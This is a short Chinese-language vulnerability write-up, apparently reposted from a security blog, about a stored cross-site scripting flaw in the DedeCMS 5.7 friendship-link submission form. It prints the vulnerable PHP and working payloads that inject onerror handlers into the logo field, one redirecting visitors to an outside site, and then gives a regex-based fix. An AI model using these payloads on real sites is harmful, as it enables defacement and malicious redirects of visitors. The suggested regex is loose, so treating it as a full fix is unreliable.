dede5.7前台插入恶意JS代码

这个问题应该很久了 最近发现有用这个的蠕虫,dede 前台提交友情链接 只用htmlspecialchars简单处理了一下 可以插入代码
plus/flink_add.php 提交:

表单中提交 图片地址

http://111.cc ' onerror='alert(98);'

http://111.cc 'onerror=location.href='http://www.baidu.com

只用htmlspecialchars做了处理 没有判断数据有效性

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$msg = htmlspecialchars( $msg );
 
$email = htmlspecialchars( $email );
 
$webname = htmlspecialchars( $webname );
 
$url = htmlspecialchars( $url );
 
$logo = htmlspecialchars( $logo );
 
$typeid = intval ( $typeid );
 
$dtime = time();
 
$query = "INSERT INTO `#@__flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck)
 
VALUES( '50' , '$url' , '$webname' , '$logo' , '$msg' , '$email' , '$typeid' , '$dtime' , '0' )";

测试方法
http://111.cc ' onerror='alert(98);'

http://111.cc 'onerror=location.href='http://0day5.com/

修复办法:
plus/flink.php

对提交数据做一下判断

?
1
2
3
4
5
6
7
if (!preg_match( '/http:\/\/[\w.]+[\w\/]*[\w.]*\??[\w=&\+\%]*/is' , $logo )){
 
ShowMsg( '表单url问题!' , '-1' ,1);
 
die ();
 
}
摘自:http://0day5.com/archives/925

你可能感兴趣的:(DEDE)